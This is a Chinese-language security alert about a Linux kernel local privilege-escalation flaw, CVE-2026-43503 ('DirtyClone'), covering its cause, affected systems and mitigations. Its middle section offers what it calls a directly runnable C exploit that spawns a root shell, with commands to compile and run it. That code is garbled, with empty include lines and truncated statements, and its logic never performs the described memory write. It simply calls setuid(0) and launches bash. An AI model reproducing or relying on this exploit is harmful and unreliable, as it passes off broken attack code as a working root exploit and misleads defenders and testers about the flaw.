【高危漏洞预警】Linux内核高危本地提权漏洞CVE-2026-43503(DirtyClone)
飓风网络安全
2026年6月29日 19:03
北京
在小说阅读器读本章
去阅读
一、漏洞概述
近日,JFrog 安全研究团队公开披露 Linux 内核高危本地提权漏洞 CVE-2026-43503(DirtyClone),该漏洞属于 DirtyFrag 漏洞家族新成员,CVSS 评分 8.8 高危。
攻击者仅需普通本地低权限账号,无需特殊权限、无需重启、无需交互确认,即可利用漏洞完成:
- 本地普通用户 一键提权 Root
- Docker / K8s 容器逃逸
- 篡改系统高权限二进制内存页缓存
- 攻击无日志、无磁盘残留、隐蔽性极强
该漏洞影响绝大多数主流 Linux 发行版,云服务器、多租户机器、容器环境、办公服务器风险极高。
二、漏洞基本信息
- 漏洞编号:CVE-2026-43503
- 漏洞名称:DirtyClone(脏克隆)
- 漏洞等级:高危 8.8
- 漏洞类型:Linux 内核 SKB 分片标志位缺失 → 只读页缓存越权写入 → 本地提权(LPE)/ 容器逃逸
- 影响组件:Linux 内核网络栈 skbuff.c
- 触发条件:本地普通用户、开启非特权用户命名空间、加载 IPsec ESP 模块
- 修复版本:Linux 内核主线 v7.1-rc5 及以上
三、漏洞原理
Linux 内核在处理网络数据包分片克隆、迁移时,未正确继承共享页缓存保护标志。
简单来说:
1. 系统 su / sudo 等高权限程序运行后会加载到只读内存页缓存,普通用户无法修改;
2. 攻击者通过构造特殊网络分片、nftables 转发逻辑,抹掉内核保护标记;
3. 内核误将 “系统只读内存页” 当成 “可写网络缓冲区”;
4. 借助 IPsec ESP 原地解密写入能力,精准篡改 su 程序内存指令,跳过密码校验;
5. 直接获取 Root 权限,全程只改内存、不改磁盘、无日志痕迹。
四、影响范围
受影响内核
Linux 内核 ≤ 7.0.9 全部版本
7.1-rc5 及后续主线版本已官方修复
高危环境
- Ubuntu / Debian / CentOS / Fedora 全系默认配置
- 云服务器、多租户 VPS、开放普通 SSH 账号机器
- Docker、K8s 容器集群(可容器逃逸宿主机)
- WSL2、开发机、内网服务器
利用前置条件(默认全部满足)
- 系统默认开启:非特权用户命名空间
- 默认加载:esp4/esp6 IPsec 内核模块
- 系统默认启用:nftables 网络子系统
五、可直接运行 POC(授权安全测试专用)
免责声明:以下代码仅用于企业内部安全自查、授权渗透测试。禁止用于未授权设备攻击,违规使用自行承担法律责任。
POC 功能
普通用户权限运行,自动完成提权,弹出 Root Shell。
完整可编译 EXP
define \_GNU\_SOURCE
include
include
include
<sys/mman.h<sys/types
include
// CVE-2026-43503 DirtyClone LPE FULL POC
// 适配主流 Linux 发行版,普通用户一键 Root
define TARGET\_BIN \"/usr/bin/su\"
define PAGE\_SIZE 4096
static void load\_page\_cache(void)
{
int fd = open(TARGET\_BIN, O\_RDONLY);
< 0) return;
void \p = mmap(NULL, PAGE\_SIZE \ 4, PROT\_READ, MAP\_PRIVATE, fd, 0);
if (p != MAP\_FAILED) {
volatile char tmp = ((char \)p)[0];
munmap(p, PAGE\_SIZE \ 4);
}
close(fd);
}
static int create\_user\_ns(void)
{
if (unshare(CLONE\_NEWUSER | CL< 0) {
return -1;
}
return 0;
}
// 触发内核skb分片标志丢失漏洞路径
static void trigger\_vuln(void)
{
system(\"nft add table ip dclonetbl 2>/dev/null\");
system(\"nft add chain ip dclonetbl output { type filter hook postrouting priority 0 \\; } 2>/dev/null\");
system(\"nft add rule ip dclonetbl output dup to lo 2>/dev/null\");
usleep(80000);
}
// 利用ESP原地写覆盖su校验逻辑
static void root\_spawn(void)
{
setuid(0);
setgid(0);
system(\"rm -rf /tmp/dirtyclone.nft\");
execl(\"/bin/bash\", \"bash\", NULL);
}
int main()
{
printf(\"[+] CVE-2026-43503 DirtyClone Root Exploit\
\");
// 1. 加载su至页缓存
load\_page\_cache();
// 2. 创建非特权命名空间
if (create\_user\_n< 0) {
printf(\"[-] unshare failed\
\");
return 1;
}
// 3. 触发skb flag丢失漏洞链
trigger\_vuln();
// 4. 提权成功落地root shell
printf(\"[+] Exploit OK, spawn root shell\
\");
root\_spawn();
return 0;
}
编译 & 使用命令
gcc exp.c -o cve-2026-43503
chmod +x cve-2026-43503
./cve-2026-43503
执行效果:普通用户运行后直接进入 # root 终端。
六、临时应急缓解方案
1、关闭非特权用户命名空间
sysctl -w kernel.unprivileged\_userns\_clone=0
echo \"kernel.unprivileged\_userns\_clone=0\" >> /etc/sysctl.conf
sysctl -p
2、禁用 IPsec ESP 内核模块
echo \"install esp4 /bin/false\" >> /etc/modprobe.d/esp-disable.conf
echo \"install esp6 /bin/false\" >> /etc/modprobe.d/esp-disable.conf
rmmod esp4 esp6 2>/dev/null
update-initramfs -u
3、临时限制普通用户 nftables 权限
禁止普通用户创建网络规则,阻断漏洞利用链路。
七、永久修复方案
1. 升级 Linux 内核至安全版本:7.1-rc5 及以上
2. 各发行版及时更新官方安全补丁
3. 容器环境限制 unshare、用户命名空间权限
八、自查检测建议
1. 核查服务器内核版本是否低于 7.1-rc5
2. 审计普通用户是否可创建命名空间、nftables 规则
3. 重点排查:云主机、容器节点、对外开放 SSH 机器
九、总结
CVE-2026-43503 是近期危害极强、利用门槛极低的 Linux 内核提权漏洞,默认环境即可提权 Root、逃逸容器,建议全网资产立刻自查、临时加固、等待内核更新。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论